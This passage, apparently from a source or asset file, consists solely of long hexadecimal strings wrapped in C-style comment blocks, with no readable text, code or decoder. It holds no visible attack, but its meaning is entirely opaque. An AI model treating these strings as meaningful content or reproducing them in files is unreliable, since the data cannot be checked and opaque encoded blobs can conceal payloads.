cb53cd23e2ac21c6eb2a9826940c1dae180ff7656c7ec972002d4d7570f3b69bd5e94d847edbe70126357588ebade60effb057ec72c5a8ae5cd0023f8964cbcd27c03496bac53cad61f10b54a0d038a779bd4f956ee74da8b4f00364c7162ceae47b8bdf9836b484f1a6235fe0beaf584f2a223aece9de77c6af9943401a15100a99acb83114ba0c7b6d325db6096c552eb4dd3592c1555b1348c9e313aa9f76c559d708c667435e90c62ec32ae7be4729c47ae3d1aaeaed8840aff0cac0fd1b70fde70dc09202bc2c705d47bf2e1d76f7f3846b77b95892da743214c1798dc1ada97bd2d0155156a291f49e9119051b02d028d8fa800f0279cb3f27d96d15ae4662edd88353384b3cf6f50df4fc1aa1de22ae9807fe60f382be9d1b6ab076a56deeb8f1c123085e587a3faa1918dadd450e7cf0f630129ccc0968c8c3b28c7063bda3b28734cba8f2341fffa4618e29f3edaecfe7bee66a626135f62a2812695b723be754d8a0643666e683ebbb814d84b74bda2724bae4ce8c2c08024f46ee96f31002d911e699600e368177acfe22002cc9bcd17bf41c9fa7901bb4ca2611b2b4dfc85cd76779289544e2f322e28d487e2b205880515190382bf0941925bab48ebef43ffc057dca8c5518012499a358ebb1d406cb440f0978d122ed42c9f5b7920efbb14c27af685092ef5546f1a054946dbb8448f9196b84ed38c0dd9b3b42dea7322f8d22726320fc5e411c6f86040a4f3b58feae20299733276497c43f0bc4241e2618708f2040d963fe2531863563e7fc3d5d9a52c1ea5aba657de8b8513fb9566813d69c92d1f9d24bbc99128237a12c0e5dea82fd6fcf2967329a865d07ce6dec9c27559cae983bbea24a1ed080b2cfce4348af6ee553a2e85*/
/*1be7f651bab46aa423872ff82c28dd67ff2d20c742f87456b8b5228276b2cedf3038f646b6768444ab87e8bfb47b7b4bad72d33830d219c99fd8b957277f174ec9c8b5c8e66d6cac88bc7423638f6f0aa94c78acc5b70d2d5298f13e84f7874854e9ec0633eb6db149a169cc86246f9eef985559d779956e450269c31493e94dfe26eb92c6390071b5ec91b9674060a5ecc989ca94df02c3abe8fa38fa75bb081e8371e79e08a2cfc126e89b75a433f387c6bd7f81d102627a872971b4ff87bb84552bb52615e646c849b87a7a91b89404e40ca033897f7738b6072e5d994cf0e0aa549a0c3323ae87be3e6e22ee777f1ac5d55c60f84c618d0e9adb1b7782387d92931348486104b43d6d5f32ca07d4b20eb4e23f1d6a06decd869fc12584355c710ce98162d8d198f1a8a97eedc77cda4cc7549e6746512e81d68cc381b1f678bab12c9c6ca731117d7b4ac7f17c0f6e952d1f9dcca1aa5a52a9424b25e2d94a98896b9f368633f23e0c9731adea8e73d46c6d46a6ed4c01062ff565ee9820a83624a39d1a1e33c83bbf8764b31929f0c185035039fc977b04b8d9f6555947eaba3bc4fc4b46c7555f9755c6effcb74f3c770d652eb2ec3264d44b15f8b149053661070353dcbe0f6751444779fb8f3254aa90945b92c42f9701a20094b0b18e09263bbe678f3f9cdee312c4a17e4214256d49243d16828044436a97357fe02e678aec29fd012bad1da51263609b3dbd01e22696ceaaa8fdc73c13d31a2ff74594e78514a43eb3294e05d8a187d4fb451c09a0d6362aa916f2080ea190d0c6052ed6ca88eddf3561e59744c0eed0a97237a8f35ce23c8b4e630c31872087be261815ba85961155da300ff63284e24a2bc9eff5bdf2347c23703a653982d0e37d94a466648b084850901588a11bd62b28f41827133bee9080a38c3e72b32eb6296ad8fc7c6369bbece1575de140dc6cfb931c77426da42abbd9fa2877a54bcfcf3c72e3fbb477b41140447fdcd2d8dcde8101725e0a1af77dbde58cfdaab7914a2c8c15bcc217657564bca78a3fd38242bc5ebcfdd1546f1f013cfb40b0660a2c1abeed4454feba89f1410a3810f2775a2ac2f32495c8454fb7e94755b5028541ca2a313ad6f10c91ee8851600426a9b55274cb5fe090a3cfb2909ffbf3addddfec76bcb12f0c5333c8f01c10cea6fad8ed0d89a85c10a863a0d1bc1118bbfd5ee0ce0cd84231961ac2548a188f102dbf956223065b0355b0f5f317bf6c916698998194ac81679f4e23adc850cf8d1b1018e99173ea5618c121bed00444f64b4b5f16f42477a4a3a14b838e2095128d924a068b0f7a8aab59c8b4b6064e10f3891ba3af1b416f442672f556f90c8f5660de78802fb95fbf6a46e836ff06b3d2d56b5f6127352d257e96907d80b699d3dae73ec296341bf690232865fb6d155e59041c039125fbba739d02bf85ce3af7e40f8549604fcc0d26777c1b9270eac6a93e0bd8abd9a9d94ae8f97465823ea1e235f9f81c2cac11f408eadc9c0bdce9c3a378be7ec6d11a119ebace8713eaad591e81322248ae2f0d125248b7d4b1af7db823a9d51c859fab7eb9437b06727ae0a9bfd958656a5069ee49407ec1bfe8b76ad3188cdd180c6ec757648eb0e614fc773cc9b86cfb0a20c59bc482f9a1a4c230d62e84cc129486c2849d0150ac36dbee2b0b1c8fa41b7d66a6d7b3ae6fdec8345456c2e8ef094eeb6e6ac69bc3023a869f751d6801ecc38d1beeda1207c42958486aab9321382579cf95cc9b722b9efabe028d4f8fe2741cacfc5e65f506bdd11b50339a489408d82c3870abdb4794c0225815d2f04234e4ebcb66874a8046ca4790ba16b11a8b86c5f556db78ba65f26f128ce4d5d0c06505d94fdc362192bab19d01870f0351836663297516ee2786f72d1ee2f1b4659d938d311aef19b6db4c2df6cfd4cbf79a12183734dfa7f706764c7b9c3fbcd24446f45d04d176ea7ba4c257cdb5498c2939be7eb3cacd9307ebfa4dd54b4eb044978c7fa01c4a118af0cd11812d91dfa60e398b7ee57603af391e0fb3edd7b952b5c0921e2a96d83c790a50f40da9dc9b67e6c8d72698617f319db69ef0cd1052288e74e11e8d4292556d6227082302fb5d725b73497f4f3e56acff278c29b0b0b7e1a1be5be4a3b57bb80ca703a70bfa976cdb02751ecf76609d0dba7a080dcbb26ca8e4588253b209ffb1b358893810dfaf869a5691789b7356be2a2d6e22b8cd4fa3071c4155918b14887c2d10209133920959eac94983d6ab7ebad9140e485efc659fff40a7b66ca1dc98d2ebcc90cd44ecf1f42ec52bb9139615ed078b0ecd620596e006c6493507d278358c0344ff13ff662cf8614d60f529336d69e9e584b2271052a58215f7a7e41f0bed07756706ae1c9f535d7fd1eb799836881fda1c8235cef1e9fb1aa82f2316d45c7f5f1c8f66b730312e039ec2526b5797e9eb9c28079746fc8bb468742014fbda43c85517b7b4bf3879be8a9a5b5717c9e1f24a039e6bafaef7c06ba4616735353a396998227b208f2869ad30cf922c7b8eb70936db8011c956ff6a9b4693c8dcbdcc97304d55760b9807d2e165a97084292ac5274d47b1eb3c16eea66ec177a86ea005645563c8a9b78d18d531b46a4884a3083c0a70447fd0f2585afcbf5832b19af324a9262793f2e72c1bb269dad433d300db30411f8b8306984639a67ffd0e24fa1fcd029a939a7245239e9df9f34366ed8b302be18ecf68e922488f0c5e4caaa0661024ccc0d348921d519b61fb654f476a35544713bf1bc43bbd4501a5b6be9164da183775*/
/*9181466276a21739d1a823ceab4724454771a38f49e34ea857f6238cb4c35ac00c2ff4fb11a1e067dd923bb1ca75b37caec886660d3cc2caabd56892332ba1b1083d56a85dfedd337382575be8f1dda51de24463fc238499c715436f834c685c98c9ed998ddd108713e89379925dd725623c029098a663d17a0b331a889f3a3abd5e0bb97f9fcccb0ef71a6fe893688e3ae49c5b9a51d61f20789054f45fd11e7c2652bc916f147188801ce45781e6d6a744aa7cb37ae472377a2d8c8d025c3da0a74df35c424de6b4c2f00b477d75469d6153be63e7b20252ea1a447700830ab872d3e9ead598d634777c3e0a8d1e164252e4bedd61801c32839027a5762884075bd4438ee6609a5724324750e86856048c96d8084e0e46f89aaf8ac74b8806f4795513077c95d1c6904eaa5064c93606ccc4ab5dfedebda7bbbbb05504f36d27575bbc3d12bf18529a0d35b899dfa19de5371e53234c3f905289d12b8553c957f4762988bb8ff712c178e0d70dc313353f19ab32695a1a42c81fb8fd499846b115dfcf96f226a6b5687d2b44e8d82b78da81b4f0c8755f5261ae1aafd7d570dded9b7737c5b6390ef221532568e09480a7f4b7952fda027d6f074ba09495b9d73f48f4032de156f4617730adf7864c1f39c0b93d4520ebc4546dba4b30841fb0444794d246d3e71de4e4f4df601a2e2bc17b42cbada69fa95fc7ea6a7dc38ba0139ac2f0d55d5e648168bee917a0dfccb78522f25ac13c1c4fa122ce0127d0d5e9459a8e9ca979cadf2ed805597ccefb87e15c50d3ffba88ea989c7691b99d74e86afe2dcda20da3085e8ca97fdc2c4810d09c9ec8686ffbaf190a202bcaa6c9b01cee11681f79a0ae1a565493ebd9d1a0da0166d3960ab70c70ce781ba167a31ce1a906715b0430c3e351420afe3a7610f3b2867cd9815768e5a7e04efcecc654544a074d0944a842ec940817fc189167f0895d90ac0879c801da6abe187b41960cb90da5149100c0742bbfba40c2bb8b5225565e2f5cb73d0ade7772afcfdfd3062cfd9e19f1f32c2ab4121eb71eee3d717aee8287c8439c2c41f44928899f9ad217d4003218740133abad351eb74315a534a8446886f2832f493b7f6dcad7166add77426c9e7b45c3b7d1ee43585f5155fd2b0f29611f45e30c82998bc9e2eea871f44e45d746a52bf3576daf94e9deb965afe4510f9828e973513349c657f60064f862654d3fe997d62170191e30bc246bf77c974749d3b409fd36eb8c5fc858b2ab32b90139bc1f0845b26d4fab4f8d5c5be8ecba6b4b9c52867e4fdf0661b0f8d1ef7397c80fca02051028c24509ff9ee2925fa73f261233eae9d11b1c7169cb7f98186b0db589433b3511112f220f921d5b06cb7c06a0e7aa9218dedb3fd78888a1032955c22fe0de124a65a48eef1d101ef25e754ec17d32a187011cf7022809495256e3b99a12ba78ffe284b6cd9267d0547f3416b678f5d29bf38c19ee161aadca732f9dab5135bc8fe3b4833a177f92676a94f42606b89c95db05d3fee3bedc802ded5002e15ff2eed334018e26721b24d4fba3d513b4eb8a50db5ad57853b8803147da58cc5758c74cf05ec6f21aa5d4af430fa3018061b82755b33ae57ef133eabc06b0bcdb42d0c45f286e6157dc06695f6846673310c7f6d8c0af1b4bb95e12f08d10401b4c5532cb9f60ae540f9712d25699f3c7a1d7351893ce627b2ec9e2a0f08b91651a372dc41adbf722aa07e19d76232b30fe372c12eb4649a5ff801b2a59e2f151af5c8441e45adef4559a3b3c4073009de1f581e06746997bd8ed9a10a9cfd0e2a13f1cdf5379b6c0dc34d38ed1d92534a7c64e7f6a6e70baccefd5afa8327be01eacb42c39aac4967639b51dcdb7a196fa3b2c167b887d33b65c009ba74c073bb11b4023ec5c207462af9bbe64196f34160a68f4ef0651bbd60e6ceff6af098c76bce0cdd3ad9098c561c4e46f7527cfc78ce111383b15a40cc9536b79e912bf3a2a839b76c0b9b16ade1a4a9728b78c4f3eb5316db27568639bdb5de3a6e1d0cdda41bcc251d2b41be625c2261eee353d7fcd0b25d01e9bedc3d26a1fb8741499b8a669056d65962e21fc46493ea3426dc3b4948bbadcd8ba398576d2d82f78a5a1868aa04f13c67a43be13f9b65df807d66852b2cac479074c27af1c78476837dcede1f12b1715f1aef3a4d28979f77fe8a5e497b4a4ef89cbb1cb1b6dc44911af404ec89ccf53f08d9aca3aa4f41b9ccc1d57c7cf9a93922157a7543385fb38c42d0a473ad1415718ef1804a0b0489168ae03a41a72de2a990a990640e352d6efaaa1d127a1dcde03c308a8c4b8d9e4a2e3196a5fbc3170a254d273841456029b70ffc473aee73a01b47f3cb1ec222dc3313cde88aad930a8726a3283be24bb0a948fedf66681f30c114763d8e1db71b056cac402644b69ed211a6fe2bef0b59265816a48d2458389233cd1ba20ab68be806cf42bd4ba5c45c1e3d4fb5703e5eb38ff58966ae113290f276c87384bb269b4f6c76e992f7d4057e8341ad4de51caf5c97c9c07fffa9a5cf42291be29d89c40d86799ce977bb777205574a88c2a33f9496c3e35d66bbd4c8fb3b776bff5694af66093d13bb3ce2474113d8e3c255cb263491398a688cc6cf8b40daf960cc61bdcd26753ac9f6d36657ff754dbce11f6dd80ef552ce53b271604783ab0bd43b2403c1a2aeea67e9588ef522fab74f7dbec9f4a7a073eb5547b904c3fe311a70ef04eb871b5cdc052d09b0c292d90d5b546d35a56102c95150c984ff425a8df49c39ec209fd8442b65182c2366b3e9022*/
/*d35debe5e3d1b894dc9765e1da78bc60b5f7845e62fcc91f80a39e456ab4a9a43ac755abaeb24e5bea283250c5bd9e90d144987a8d94b5a7a5417346c20121ca93634c5b6f74310f3e04cf19cad2eb803835e489c91234eb7f4eb23724427bc52c7d8a7d75acd0c116012e4a37ab4fd2fc61de3796e650d1376aa14ec1dec0966e37255395a59da219a6c61b333cf44ce9329b0ba909675804f4fb5480354e4ba2362e7447bf744a8b1914d3dc4f1a201ba2773417890c7d57de353913c8b79e85d8b1a4875da9fd03c496f72091c9c172fe96e9a0674d3bf048880ff54532e26ea7245499dc9abe084768407056250bb71c5ee7f4144af4f6b7a3672bf3a6b06e542b40ef8be10a533d4311c0076044e51633e6f6b74982c4ed1b3bb08f662b22193b49af0090c0cec2bdc8a9b0318f26e0373cb542dda12d1f0b336bd9e5f71f8b50bcc3470f07cee3b7e7a41d8e7167b0c20ccf3f1aca598c53f50a04ec1c3085f73d62afe13ddfa5b71468ab6fa55aca5c6f8f34a03726f0f4d5d22c18eb604783cd6c08773aa93c79975cd8ff37f16a75a20bf1d3717707949633e6a29166c553f9b10e8ea73ca2338b8ff59b571911ed5a0f4c50f93643f78504aaa4d9315e26f722d3231bd275833487cbe9e25d83c63d6b002833801c8a784772a7b2887ffbd11ae325389dc019d83e69dc2057d9dabb33bdaa98fc156d13c38a5d1816cc40e86e1177a9ff31ef2565842bd1d5a566185b437e54c9f004a845c63e6482d8e4685391fe51057568e1417d1e50e8c69a3d914a4f290163d5ebf663dc38489ce9698a9a4df0c8f4d8acc0f28f301e94239c77f7f52e11364e5b5585a20f6423cefd2d2f51c063580d33ade49bed91d9850f406ae4635315062b661d48a3a5dcb5bc77aa1fa1aa9c98af378037794a05a87ad1a77847dba4f2b5ff22dc09e5c6785b814b374d016925e3da2844c50c23eda57229e2dc655bfe3cfbb19d02f037a8750f3b30256b5895bf2eca3b48bf36798dea9b9f85d1c9b412cb741b07ed59e517f3223004f55e6b0f1d287236d632fd3df4218040f1820fd91ed9a63ef989ebeae2d2780c84431a853d85606644ba3451dedc32d2bda5d5f85594104715f282278d6ff7326a33b6161b28e59c223305109ee2180a46da2429d77dfad5d949a977ad9c93c50b9f78436fd486534a205aa9814e35cdd0386228ac1e1ba24c4e554daec0a270412df58d023d3043e6352265c06d0aa99092836f694eae5500acc8d3f42cabdbff48b7b9128f3422e2453b3e37729963d0d30d20cad0e3fde11791eecc9d2096307a5c4f74c2523ed0a512ec0729bebc9d4a7b91df0987740873062aadcfe2e4cc94f655d7fe4a247917411c3aa0bc4bdbf0b2e3e550582c1eda6e6e1013f867ea5ffda3492a6b3acc4d7b55e17ffc378d2057d86203ffcaee7c0d4f092476703ef215f2a9071a95af3d26d88b88b0dbf2b11fa03d5d712160731355a74b22b6817024f2f21043fec8ac479f4e525d8b7c2c1a32fa8308970426468d80e02eca07c9ad2c4ab2d7badf633a4923e3c5dff0b458870542feb47758415987242906bf604078a9d5a894c9a446b49ab99ea91c819a29afc7a613beaaca4119bc0d3be2d7cb9e20c7f3008095961d938ae43d0a20352b4a3d6f19eeb3e116a052997f46abd1dc2efa294974bd04fcada01eff7c69556016f3cd0058526cda15b292c43f88425b61ac27e5a73493990f1834a8dfb41034757754d0ad112349b9507aa41de5995217250093ab5bc47ced45d421e2e40fe35ae70d0fa7c8825a28758e54c842fa3ad0630d684212ea5b36ada2d55d6c1fe3ac7ed3f0da02096351a2877c8ce51f9fa5341784219b7432e432507a4573e2388f5fb4c780dbf18d0244b7b9e403fbfbfac9028c56ee9f2dcc6efbf3cc261e0ba91b5b4f04deba38acf206931c2958b2fa2c73c3edd81d687dde614fc997202ead5107d59023499d7e771b89587641e3914f9915ce2b614f33c16245f7951e24e20e6950721e15274a5ad144dea2c04a4bc2d9be26aa29fc6b8804357282cf97d0ef9e8f964764e21abbfc4ce08672d6b2a547c4f553a262ddf78814001afdfd64e9b9a3e12cb9ccd9bb9bbe84ba51dffbb1050f7234c1c0bf70f31c3b40436c0b1a588df8b2c11e53f13e14e6dbd32e721cc32af1b6eee2d87de3c6e212dc594f56319a0340f68ab8485cbf47565d96f4b9b20d4db4da2d7830f549fd1f39509ce7e0c4771f789b0d983adba5036078c67933c0c7e7563ba6eedbf0f833d8e72b60ad999df46b441592ee2aa7d3f997f5b288356a74339b4f4d736396c5f0cc56fbcd1daccd9500c27b081c2a998fb3db517e8f7cea7e2624148f2d074d80d65832c8a25d96b02c1c4f03b99825936242c1efb688b17e44c46b35490b144324a1172a80ab3997e0c554ef213a9505af895f9cbbcb12283a18a2ad4dc2103148c1d4232a5603d8ac50a42233e2482e6235abf684d9d28176a70689a28add79dd5cc665aefaf40b456abf00540da5d2f809c0f37881b7bb3e587d505afbd0afbe817c89d46325d351b903bd91e468b45e379e89e9a6985460a9311cefd56da05582e40e3f33381045df90812e6e41223118e40c158666dc67ca300738ce8c95a2ee79cf948a5eeb5b808779092b2d1cce5e2fe187976c7b55f288a6bda72752b6f4205a23bc1713e6b2a36f677a83f00d02081db66cf5ca8e1f27e0ace7ac02c5df0f7c136a88559c0977817af34f58b2e5b2ce7951079bbf3d939129a5d79b97b44da9894e711c96803d0154eac884e2f8fd087a*/
/*57e1bb002012a8b3b9be0e51c451dd0742e7876d7408bb54ef2329f8363e4167db64eff41b06bf6f67a2f733993f7297819a8ae91700d9d7f9691d11327ad698c22e19341eea1c47c583592208dddcdbc8727134eb72714a3a80c9a5f8da00eb9d5a868465aee8d828bf41762e5d4cad30b997994e94edc9489a39f7060de206c5eb33c15dd06759519ea5382971a9f60a339c86b4ee6c700bd7de2ea10f75e696a345d4c726347415c9799f28a6a34063662ee80694a526f3d52a594db31888432390a8ec06c17b17f45f8087dc56e1308b6dac23cdde73a00f88c33760853c10ae423023b3c98d7646ccaf970f8e847039cd07fe2f080d31cf5df6e73ac5058dae67a77321f64b2eaa243e76bad54650cf9ce207fb9ba943a2f0ab31a9fa9d55fbdef079b631bb1c60913e994a22c51cb9767099535218f9bd79f0ec39aea381a72f31f171fb91c4919b4cc4a1e8a516e1572d1e535731f337da8205beb485a610d1670f9c88e318907351d0fc10bbb550450bd7932dac7d74ae7a2740e1b4fdb2949a70f54ae40480e309574efea62efc4b5052d5047ce434d267532a3900bff1451f845fff8d1b8614c33cef2d7612cfcdef2266b600dcf84413139de6cdcb1945133f3537927dc5461a3304310e0d0f2d1d2161f2d8f0a6e16060b406dd6571a37329a4ae99ad5c674f272810267c1124be9364f3cae84fb096c5c89c0a44cb896a4d87753c7afc2f07263624c4c87590705582a0612aa2af3e42fd35cca771cbab10b63a5425c59c316be65851dd8c0c353d53d355837dfac4d33f4f6680a18a550607641121bb964149e476d8d16eb569e641a0960eeadef816612f850a8e98a1cfcec9bf3d2380b5b31ae61cbed005a2c23d952750c3668fef0182eacfbeb4c70fd2a13c65a7599be5f21684785b605b4736b48a2099d3d603988b1ce268a64e1e8b82004437d1a1c73b35379a94e35557a046b4a1b9fdae09c788f7ce6b2985d34fa6fc605dea9db8d47e4c601e3b8a5708c008a1e22a2f1b7eba4209d59135707eecb981350a87586a11c986d5105ffcb13a521346f9603ab91a05871663b0bf5ffef3ab10d984b28927369d55fe935a59a6857d167c963753c9efbc1d74ed3378817d11c3be303578256cc293327f94728cdaeff0c3c84401e4bc64b845d9063cbaa8b0f85523fa4bfe1bfb2e76f56125ce1af538076778ad26d7cde3739449efaa395bf28d100f53bae40253844460438967870b6fd07bf073d436cde4f7f2f454edcb1ae43b3c6801e1a40f31ea3105c8cb6f319407c46fae88e90318b4e214d73dd8ff299ce665592cc82fd798296e897919cb07b077a99f60ae86db54b58931c5e1e771915dc32b6ff0f6cf353ab0745b2ee06e47b2558c50655250f26fb4f903b69a5abd253b0e7c5c96d9c9098b1a779e7335538b8e4610f03dac9d3acd7e2083c2f774908f6db9deb73243f4ea618a4ba06867c4d6b4b9815e533bebe2b41755e958f6911a68bb77d29c392589dae576dacc7041fa0bb4d73074ef3713118c4ef34da10e52742cebc9e534b4fdc2b65a9d766d063000e584ac7666c2038812d65490725116d68b04eb47f5ea849f780581a718bd4a9dd52395fdac03a0841cf86f4dc4de9af8ae6a1119ba65bcdedd64863da6c87f7db474ed846b6c70de2cadb1e0fa32a70d0f4b800528166c56b8ac0bb2b003c8b76532149cc47c378882ab34d1ec3620f0518b76532a111f4636298d83d65fbd85ba68f0cad1bcdf98c7ff61292f54a185b3a77de7080504f1eb063aca407bccfa7241fb07e181850c8761954fa55682ae8b1e2395b9658a2d4a1311dba88fcd2ce06d1781e20ae60dfdcec0b6cd8b87f43ff6d9f98528c1ca5e313dedeafbfb0262c0941869bc314200cc3f3619bfb0eb61db1b9a87fc78a6cdb92ad58b85f50e069d46282ec90448473e3daaf059cc9e5f1fa13761f08e6ec8120fa5d0adbb2bd1d5696db55e8338e4663ee208f17e570ca0aeddab4ecf43773ec31f0c43e90cd137132af54670d3f17b6b1c8d35fdcb2ce82d2682880413ad08fef15b440dc8a8ee03943184e08093d839cad721fcb8eb59efe7b1e7cb242f30a4b4bfb08a896c9b99249a50e36c6fd541df94463319b634d712d77a96dfde2273ccc3e5216893f5460ae2025d5e71b1979636a818f624582969bd6b0d7269a98d2e6e2739990b5185fba087493429790df1db0b134c4c14999a7a9529074f4126d5e108fc9702692836b8fd37aaaa7e8f0db6d8b318323dd56672ab159321d5800cab1ebce459d81519316ab647aac3989f6419d9a17e0abf07ed5e860ff063792fbb395795022dd1c8b67b3a7d511b2eba78557d23079b6695f24273a7ce03f8570140978943941936e0e42da0c9a92f390d9aa903f1b0de32528c3747feb869411951f34e4a165d32173dfb5a2e21862879c5395a7160f9b1771b4bdfea236c3bb3a5d2e1ec4b995df5bfa3f816ffc798d3716fe3e6f98d247b791295cfb9d864c44921193d33f15625732d67dff318de5eb850eeaea4bd4aa30d2efdcda0586ac602d7b6016e1e59456690ee1077b2f761be99bfe49b8ca357d40293564124d70a9815468ce65a7525f97690027b57ac7dae8f6be5846847de54a02e204cb877e2322c1fc0bb3ecd96a7892e63dd169a00b034b929b2f955b0bf495f7d45656d342b5e30e6f7729f48b480f4fc98cfa67ca4ba4d597bc14397a29fa9d6f99cea554cdd13975995c36a89b8b90b24fb20b86309317f1142aa9cd8993d90b5df9f941354a2a45013ca5ac5fccaa28d3a732e76c82ec0*/
/*73bf50374df556c7a229be2403c605797a57c49183c00df23926297a327e07e0634ad1db8e1150ab42d8ddecff4207ce82d1f0c58f4b7ce229d2974d4b9531d7e242d845793d27bdba542abb15ca2cab22345ca3c6c32af7bec947f0d877e0f5513d3fce2b7c304e7b33770901b02a26abef3480e752ae4e11c54b4c666fa6306a378523189381b61f9837c47e0710e3d117594ae2d031d9b91b99fe6ec357cf2e451496ea9e7adf18f6edc3abb30bf5f9bdb60d78b481be2e117fd0bbd66e85a17f194f868c0600a27475fcb2c7162c318d3e134bae49955f87cd5f400ec0f33221283d7965d724c22d8ad008fce2c471ec002659b7cfd93a8062b6c889df474cb16845d6846614e8ac38c844ce6c48bd340a79e4e93634da521a132a9118eb7dcb74338c0b1733c66dd0323a6e9b6cb66103b03bacdd41ee9526739de5b964b258a1963b9a6365c2de8e6d0cbebf112c710ec0e1c37fb3d72bc1fa8abce38480a1f1e4cd9e22ad23902b5af2a9044841eb8fd3872eec81150d907a66417d1967e7bbbeda8751f609ea00385e987972e7e6c8494eeedec60ec9b5b2ac6f3221aa04bf05c872303fe3806abb32308f67030dd4ec6927ec8cf0d0ee9b3d76fd72f6cb26b3502966f4baad2174e9b967ec596b90cd90f6572a488d7d159161d8e6297caa53c4d23285e771a3fd25004881ca34729b856c0caa3c8806a37f77f6c8c63a986318c6198bc7ef21fe6367e15cde01b6ff9c690a28687dab4fe3f721df1fea738c4d97c3999501a215ecaab5fc25d63e5957117d0b71fcd667be520ce6fc81e75fece791f6a46ecdaca278563874c4d401bc45437489a7cb4b280ae53f9aff7c49525638373312e12e5cd9ca999ed7944c9163bb312515430e8fd1a091b1ae2589d389a1e27d60720c2125dccbb011e7ccae201175371e37c5c98061dbe0183fc5b3035cf31c6caf390a997be51ea5927226b306882add222209128f2016bad201941bb7c467b0a0fb1311ce8b28648f7b0e06296beb16547de0f957331c9c201bfb28d0b099bde732a900a99d4b12919f54c3ea8a122bea3eda74fa24e7c0caeca35a7618f060de991f8ad0aa091be0348fc8e7629dd244796ef2b7fc1d4ba5739e2d92ace782877253190065509506295181741451beda1bd3588a150002dee12ef1512bc77c42fd4977671f1f623f489124e4395dbc7e888232ba1a4173cfdb733693f1cfec306c816d198da88c1abf1d9779045ba0a326a2bf6c623ccf1419b4313c0e51c9bf14eef12b2ae987ecffc7a0aaf6eb4254e49fa76a0d5c9d83b559e3d9f2b5c061f932e0c2b9b174e9068dc40f95dca9661bb7138de3cf367f9b8437fd3830b0c452fda34562564c1d581c512e58c526746ddbc233f1872d7ca779146a3d99c3656a4773d8696b109636ea992754149f763b2526c4cc72edbd47d50862551b221e0e3afbe9a934cbd77914012e67c15114d6580d58fce6176541ab6567cc249693e402dc98bc06e9c106c8c3460c3ee8338743ba00388afb3a7126b7c685485618700bdc8d020d14950fec4204845b4eff1d1831354e5ae853e5cbe6072deb1bd575592bc8bb804800548a2614ddc17210292da4fa32b1d8fc1fc9f4353f9ea4bd4a0a997da4d410cfec535075615095d4fcf14da6d2356578409c75bff2f18594eff02761fd4c5cf8c1b73391d71c41bc455f0c8fb5477881fd270c772815afc3320d2e19436d25b194dabcda59f01f36e2b79abdcf40942076ce19a4da493f09c67d278234c1b41880e80dcfc49cef2d0e2ce4a26ef67584f8cb52d270acf80826d1082d00039f1ff030753c8b144ab8cdd4991f4bfb9555aff027fb17b24b4db52d11c3b231c214081bbfa752a25598b9724076cb296f7c6a22f8c2f23e183cc6461533f7a61c8270a069d066d650c5cda1a7666198d43b3f335fcf2ae234c704e3ba3ccae1335631919aafd3053c4aae95cae9f6d74a768e84d351519009ef477eef0a5eae1f0dd12733fcd3406f7a4f3d660ef41d7e7c99a8b051e4d7e535ec3eec7730a9a748645442d11f6ffe2cde45003ad9edbe4a37bb1aa974323388527d9b4b8a5cc4a558d1e1e7dddfd757f7b1d2919ca69806d85c6731c1893b31cf5586e840b4e06d94c65822aaac06399925100696f033566dbabb6d37b8a8a445a300b73e4704ecfad70e9e70f15cf98a589690a0ecd1b989f139d57a790b9a71c385c470db7bdee5cf182e211430a28b3bdff52cee683aa1e75bbbedfa7a7cdc1818143b08d46a5f085dc8099acf929bc85d6164ac9e5155d7f5bc9fa9fcc62558c63527eb82c1db62a49f14cbb6b65161269c5e9ed2acb5b99faf2ab748209959a6491fd313f4ac302784098d7714fc3e4747fa64c4874a4762a7eb20ed6a3591d8a8f748197c2cc5f1d7e77f501797ceba75304e124800b32f66971e7bf52b8549a6e5f1b7d16831cb12a8e8d01743d0a66f4c5e1409d61581aa6af0b4b48972b0a14fef9fce6a2a4f8303926430e9c2f7057a32c33449c9dea31aa5ff6284140f2eeac3b18a2f2164b2d17b0fb3d60d926c8677c02dbf27433644d31fb3f0d3f13c1bc4d7fbb339add6040aac7e937594c96676fa83cc6c4636652b80f37887316743057e4dbf9b410f0b0167af446c51895f499b618e21e56483a643cfcb4ef6abcb26a6880e9c5a958d78ffab052b7fb542d4ee1f286c40b306f12287af6e7530f0815b555538e5108c1220d8eab364d892846ac2f7cb3ed6b5f3d90471315126e608ea423a96fb19446bdbb453cc7ad8b10910d2f1ee4063e6d26bf0e4ac989a39*/
/*09523fba6f2e942a1eec75bfb8ed68e9b10636effc2103b675c5fe65cd2a43c7cd618ac500bc2e4a94412bbae454b02c2c51e150dd8decffb0fadd20e32ce7d7318b8c9ba4acc7b66fede2733eceefc026853c9aba9774998589d87b7a309c6f365ec1c5ccc7943233dc6fc7e9d9ff8c5c882677cefb52db72c1f8eaa4c180a1fe239c5eaec0d3ea1eed09a36d3a067d9cee604b7ef2c3e96b5ac686f3cf2d9d1037e2a69a99983d1e0d62c8f30963327024f9a564872f515e5d3591e1a79bfc1be90c30c8e50f165e267cd051d9ef83279f855e2ca4c815946b1e6edf2058820b95dbe4dd295e2978771d5aa1a0bbed70c8c1c45db2274e970caa0c16f76d4fddd7e546c5bb802ad846bc6e6c0f512df2fdc7d5bcb6cabfadecdd8c4e2ea5a1571b5fab088a256bd8e8ea20f8d8286f44efa76ebe2978c6ab2c0e38044f37e6fcc276c1d284158c6e72acba37aef07b41f85e150574be12123dd633fe3856a377d43ecae59f1c5baec56848974393aa8d0848c478f3cab2e38cef8f049ab5044890055aac3ed9170d1384c31797f9b3dc7abfdb9db836a108a804bba9882b389cf5fcb2ba4b33ee09084321a7db3e9d3f7f86753d503340905a739209c06d7bda02cb98c1c11a3174da1b17fe3fb9807abe7a9f7783fe2582a88d880c5e5a1cda1faa12d4e6a1ce891bef1f4a08f85e87909fe5f8391db91a8389b2f45c2b2f0b0e01a45d1342f96cc1db7a0108a5057ed3141e3f29dcf3137b03bbc106de40cb6acd6b5f7e27429a6c6fb9c5ec9d1b716c3af11d9dc1153696f708edfddc3ae7f59cb4c6dc9df847e5c8fdae931a1cb9a4e274402f0f6a194dc94a337cf7dd7857f4673fb0e94b05e7478a483f376b27d81c9dbbe2197e4ba3ceacecd1f85b63f0a8ce31679073e0c80fb720dd92a65b871751c0e1fbbb45beece9eb64550309008ff57db7f459dd64b358a5b4fcb676311718188018192e8c5af1c0f5e55c1efd0a06a3929c309f7a2d06cae7e0033eb1c76048c5b638fdb8ea09c0c761f5215e919863ec4c199cdcb2db6ec79b8124e7274234887a70327f6bb354a46654c7e84f1f0fa5a0ac6921df9e4101b387b256f023c61ecacbf7bf8bbfeed37b161b840f3f79d5e0f95cfc70ce086f939ef7001c34923dfc5d9b9213ce3868706030e2301dc58db225b22a4490dcfa54d9771af1476d5f93fc91b6c9ccc0c7e1a4b1f